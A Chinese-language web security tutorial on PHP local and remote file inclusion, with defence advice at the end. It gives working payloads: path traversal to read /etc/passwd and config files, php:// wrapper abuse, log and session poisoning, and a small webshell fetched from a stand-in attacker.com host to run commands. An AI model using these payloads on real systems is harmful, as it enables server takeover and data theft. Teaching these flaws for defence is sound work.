文件包含漏洞:本地包含与远程包含的利用场景
作者:浅木·先生
来源:「浅木·先生」| 知识星球「软件测试成长圈」
所属专栏:《Web安全工程师进阶之路》
前言
文件包含是Web安全中最"四两拨千斤"的漏洞之一。有时候明明找不到上传点,找不到注入点,但只要找到一处文件包含漏洞,就能直接RCE。
它的威力在于不限制文件来源------只要能控制被包含的文件路径,不管它是什么类型的文件,都能让服务器执行其中的代码。
PHP的系统函数include()、require()、include_once()、require_once(),一旦动态包含用户可控路径,就等于给攻击者开了一扇任意代码执行的门。
一、文件包含漏洞原理
1.1 漏洞代码示例
php
// 普通文件包含代码
$page = $_GET['page'];
include($page . '.php');
// 正常访问:index.php?page=news → include("news.php")
// 恶意构造:index.php?page=../../etc/passwd → 任意文件读取
php
// 利用文件包含RCE
// 攻击者先上传shell.jpg(内容是PHP代码),然后:
index.php?page=shell.jpg
// 服务器包含shell.jpg,PHP代码被执行 → getshell
1.2 文件包含与文件上传的区别
| 特征 | 文件上传 | 文件包含 |
|---|---|---|
| 核心问题 | 能上传恶意文件 | 能控制包含什么文件 |
| 利用前提 | 需要上传点 | 不需要上传,只需要包含点 |
| RCE条件 | 直接上传PHP | 配合上传/日志/_SESSION等 |
| 隐蔽性 | 上传文件可能被查 | 不留文件,内存马更难发现 |
二、文件包含的分类
2.1 本地文件包含(LFI)
只能包含服务器本地文件,无法加载远程资源。
利用场景:
- 读取服务器敏感文件(
/etc/passwd、配置文件、日志文件) - 配合上传点,将图片马包含执行
- 利用Session文件、PHP伪协议等实现RCE
php
// 本地文件包含
$file = $_GET['file'];
include($file);
// 读取系统敏感文件
// ?file=/etc/passwd
// ?file=../../var/www/html/config.php
2.2 远程文件包含(RFI)
能够加载远程服务器上的文件。PHP需开启allow_url_include。
php
// 远程文件包含(PHP配置允许情况下)
$file = $_GET['file'];
include($file);
// ?file=http://attacker.com/shell.txt
// 服务器会执行远程文件内容
危害更大,但条件较严格(需PHP开启allow_url_include)。
三、本地文件包含利用技巧
3.1 读取敏感文件
php
// Linux敏感文件
?file=/etc/passwd
?file=/etc/shadow // 需要root权限读
?file=/var/www/html/index.php
?file=../../apache/logs/access.log
?file=../../proc/self/environ
// Windows敏感文件
?file=C:\\Windows\\System32\\drivers\\etc\\hosts
?file=C:\\Windows\\win.ini
?file=C:\\xampp\\apache\\conf\\httpd.conf
实战技巧: 通过日志文件包含getshell:
1. 找到Web日志路径(apache/nginx access.log)
2. 通过SQL注入或写入一句话到User-Agent头
3. 访问日志:?file=../../logs/access.log
4. 日志内容被当作PHP执行 → getshell
3.2 PHP伪协议利用
PHP内置了多种伪协议,可以访问特殊的输入输出流:
| 伪协议 | 作用 |
|---|---|
php://filter |
读取文件(base64编码) |
php://input |
读取POST提交的数据 |
zip:// |
包含zip压缩包内的文件 |
php://filter读取源码:
php
?file=php://filter/read=convert.base64-encode/resource=index.php
// 返回index.php的base64编码内容,解码后得到源码
php://input执行代码:
php
// 需要开启 allow_url_include
?file=php://input
// POST提交PHP代码:
<?php system($_GET['x']); ?>
zip://协议包含压缩包内文件:
# 先上传zip文件(内容是PHP代码),然后:
?file=zip://shell.jpg#shell.php
# 需要文件上传时文件名为 shell.jpg,zip里包含 shell.php
3.3 Session文件包含
php
// PHP默认Session存储路径
// Linux: /tmp 或 /var/lib/php/sessions/
// Windows: C:\Windows\Temp\
// 利用流程:
// 1. 先通过某种方式写入恶意内容到SESSION
// 2. 然后包含SESSION文件
// 常见SESSION文件名格式
// sess_ + PHPSESSID值
// 例如:sess_abc123def456
// 利用:
?file=/var/lib/php/sessions/sess_abc123def456
3.4 /proc伪文件系统
在Linux中,即使找不到Session文件,也可以利用/proc目录:
php
// /proc/self/environ 包含当前进程的环境变量
?file=../../proc/self/environ
// User-Agent头注入PHP代码
四、远程文件包含利用
4.1 开启条件
PHP需要同时配置:
ini
allow_url_fopen = On
allow_url_include = On
allow_url_include默认是Off,所以RFI相对较少。
4.2 攻击模型
攻击者服务器: http://attacker.com/
↓
放置 shell.txt(内容是PHP代码)
↓
目标服务器请求:
?file=http://attacker.com/shell.txt
↓
目标服务器include远程文件
↓
远程PHP代码被执行 → getshell
4.3 实战演示
php
# 攻击者服务器上的 shell.txt
<?php
$c = $_GET['x'];
echo `$c`;
?>
# 目标访问
?file=http://attacker.com/shell.txt&x=whoami
# 执行 whoami 命令
五、文件包含绕过技巧
5.1 %00截断
php
// 代码
$file = $_GET['file'];
include($file . '.php');
// 正常无法直接包含.php
// 绕过:?file=shell.txt%00
include("shell.txt\0.php"); // \0后面的被截断,实际是shell.txt
条件: PHP版本 < 5.3.4,magic_quotes_gpc=off。
5.2 路径穿越
php
// 代码
$file = $_GET['page'];
include('/var/www/html/' . $file);
// 正常:?page=news → /var/www/html/news.php
// 恶意:?page=../../etc/passwd → /var/www/html/../../etc/passwd → /etc/passwd
5.3 问号绕过(远程包含)
php
// 代码
$file = $_GET['file'];
include($file . '.html');
// 绕过:?file=http://attacker.com/shell.txt%00
include("http://attacker.com/shell.txt\0.html");
5.4 多次编码绕过
php
// WAF解码一次
// 双重URL编码:%252f → %2f → /
// 绕过路径穿越过滤
六、文件包含防御方案
6.1 代码层面防御
php
// 白名单方式(最佳方案)
$allowed_pages = ['home', 'news', 'about', 'contact'];
$page = $_GET['page'];
if (!in_array($page, $allowed_pages)) {
die("非法页面");
}
include('/var/www/html/pages/' . $page . '.php');
php
// 禁止目录穿越
$file = str_replace('../', '', $_GET['file']);
$file = realpath($file); // 解析真实路径,超出目录会返回false
6.2 PHP配置层面
ini
# php.ini
allow_url_fopen = Off # 关闭远程文件读取
allow_url_include = Off # 关闭远程文件包含
open_basedir = /var/www/ # 限制PHP可访问的目录
6.3 Web服务器配置
apache
# Apache .htaccess
php_flag allow_url_include off
# 或者在VirtualHost中配置
<Directory "/var/www/html">
php_admin_flag allow_url_include off
</Directory>
总结
文件包含漏洞的核心是用户可控的参数被拼接到文件路径中。
LFI的利用链:
- 读取敏感文件 → 找配置信息/密码 → 扩大战果
- 配合上传点 → 上传图片马 → 包含执行
- 利用日志/Session → 注入代码 → getshell
- 配合PHP伪协议 → 任意代码执行
防御的核心是白名单 + 禁止路径穿越 + 配置关闭远程文件包含。
关于作者
作者长期从事网络安全技术研究与实践,主要涵盖Web安全、渗透测试、内网渗透等领域。
如果你觉得这篇文章有帮助,欢迎收藏。需要进一步交流的同学,可以搜索关注「浅木·先生」,专栏会持续更新。同时也有付费版的知识星球可供直接下载工具与源码,可以搜索 软件测试成长圈
💡 AI工具推荐
如果你在研究AI编程或大模型应用,以下工具值得关注:
- 硅基流动 (主打大模型推理服务):https://cloud.siliconflow.cn/i/24s1PqPc
- WorkBuddy (腾讯龙虾旗下产品):https://www.codebuddy.cn/fission/?inviteCode=iw31adtaqqtgz899
- MonkeyCode AI (编程助手工具,新用户5000积分):https://monkeycode-ai.com/?ic=019ddc5b-009c-7370-86ba-c196753108c9